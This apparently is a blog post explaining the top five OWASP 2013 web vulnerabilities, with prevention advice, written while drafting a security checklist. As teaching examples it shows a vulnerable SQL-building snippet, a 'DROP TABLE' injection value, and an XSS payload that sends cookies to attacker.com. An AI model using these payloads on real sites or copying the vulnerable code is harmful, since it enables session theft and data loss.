Common Web Vulnerabilities

Since I’m working on creating a security checklist for admins running Review Board, I’ve been doing some research about vulnerabilities that would make good candidates for tests. A lot of common web vulnerabilities are more code-based rather than server configuration-based so they aren’t really what we’re worried about in this checklist. These vulnerabilities are interesting regardless so I’d like to discuss them here.

As an introduction, the vulnerabilities that I will be discussing are the top 5 vulnerabilities present on the Open Web Application Security Project (OWASP) top 10 list for 2013. It was founded in 2001 by Mark Curphey and Dennis Groves. OWASP includes contributors from around the world and works to put together a knowledge base, tools and technologies to help web developers do their part in keeping their web sites secure. It’s really on web developers to keep their applications secure, as vulnerabilities can hurt users as much as it can hurt developers.

#1 – Injection
Injection vulnerabilities are most often found in the form of SQL query injections. This is likely at the top of the list due to how commonly it is found in applications, and also how easy it is to exploit. All an attacker needs to do is send specially-crafted text to exploit the targeted interpreter. Here’s a good example of server code which contains an injection vulnerability:

txtUserId = getRequestString(“UserId”);
txtSQL = “SELECT * FROM Users WHERE UserId = ” + txtUserId;

If an attacker can get access to the txtUserId value, they can muck around with the SQL string however they want – perhaps by adding a semicolon after a user id and then executing whatever they want. What happens if we could set txtUserID equal to “105; DROP TABLE Users” ?
Perhaps the best and easiest way to avoid having this vulnerability present in code is to use a safe API to interact with your database. That way your code is never directly working with variable SQL queries. It sounds obvious, but it’s staggering how often this vulnerability is found in code.

#2 – Broken Authentication and Session Management
As soon as you start implementing your own form of authentication and/or session management, you’re taking the risk of having an error somewhere along the way. All it takes is one element of this being poorly implemented and you could be opening yourself up to an attacker who knows what they’re doing. Attackers can compromise passwords, keys, session tokens, or perhaps even worse, they can exploit flaws in the implementation to gain access to others’ identities.

Imagine how much trouble Amazon would be in if you could gain access to someone’s account and buy things for them due to an implementation error? Flaws in implementation can be found in logout logic, password management, timeouts, any sort of “remember me” functionality, and a slew of other places.

It can be really tough to track these flaws down due to most implementations being unique. The best way to avoid this vulnerability is to use a single set of strong authentication and session management controls which have been thoroughly tested and meet the standards found in OWASP’s Application Security Verification Standard (https://www.owasp.org/index.php/ASVS ). Being overly cautious can save developers from the disastrous consequences of this vulnerability.

#3 – Cross-Site Scripting
Commonly known as XSS, this vulnerability happens when an application takes unsanitized data and sends it to a browser without validation. Because of this, attackers can actually execute scripts in a user’s browser without them even knowing. There is a huge amount of abusable data that can be found in a user’s browser: cookies, session information, stored passwords… You get the idea. Equally bad is the fact that an attacker can redirect the user to another (potentially compromised) website. The prevalence of this vulnerability is largely due tot he fact that any source of data in the website could become a vector of attack. Here’s an example:

Suppose a web application has the following usage of data:
(String) page += “[input name=’creditcard’ type=’TEXT’ value='” + request.getParameter(“CC”) + “‘]”;

An attacker can then modify that “CC” value to:
‘][script]document.location= ‘http://www.attacker.com/cgi-bin/cookie.cgi ?foo=’+document.cookie[/script]’.
What this does is send the user’s session information to the attacker’s website. The attacker now has free reign on that user’s session and can do whatever they want with it.
Note: Those square braces should be pointy braces – WP doesn’t like my examples.

Prevention of XSS boils down to separating untrusted data from active browser content. Ideally you want to escape untrusted data based on your HTML context. Additionally you can whitelist input validation – whitelisting means to ONLY accept specific data formats, as opposed to rejecting known bad data.

#4 – Insecure Direct Object References
This one is kind of a mouthful. Basically this means that a developer has (likely accidentally and without knowing) exposed a piece of back-end data to the web. This could be a directory, a file, a database key, etc. This is prone to happening because developers will commonly generate web pages using the actual name of an object, and the application may not have the proper verification in place to make sure that a user has the proper privileges to access this object. All an attacker needs to do to exploit this is to craft a URL request string by changing a parameter value to refer to some other system object – one that isn’t meant to be exposed to the front-end. If access is granted, you’re in trouble.

The prevention methods for this vulnerability are probably obvious after reading its description – use indirect object references to generate content, and make sure the validate access to direct object references.

#5 – Security Misconfiguration
Finally this is a vulnerability which is configuration-based rather than code-based. There are a lot of places on a server running a given application where this can become a problem:

What kind of software are you using, and is it up to date? An out-of-date operating system, webserver, database management system, or code libraries can all become vectors of attack if they contain unpatched known vulnerabilities.

Have you enabled things that shouldn’t be enabled? Things like ports, services, pages, accounts or privileges.

Are any default accounts and their passwords still present on the system? Attackers can commonly brute-force their way into servers by using known account names and common passwords. The “root” account on *nix systems is a good example of this.

Are users exposed to error messages which tell them too much? You don’t really want to be spilling a stack trace to the front end, as it provides way more information than a potential attacker should be able to see.

For any frameworks you’re using, are any security settings that are left at default values?

Preventing security misconfiguration is basically a battle of awareness – keep your server’s moving parts up to date and with secure settings. It’s worth taking the time to run security scans and to do server audits to make sure one of these vulnerabilities is not present.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s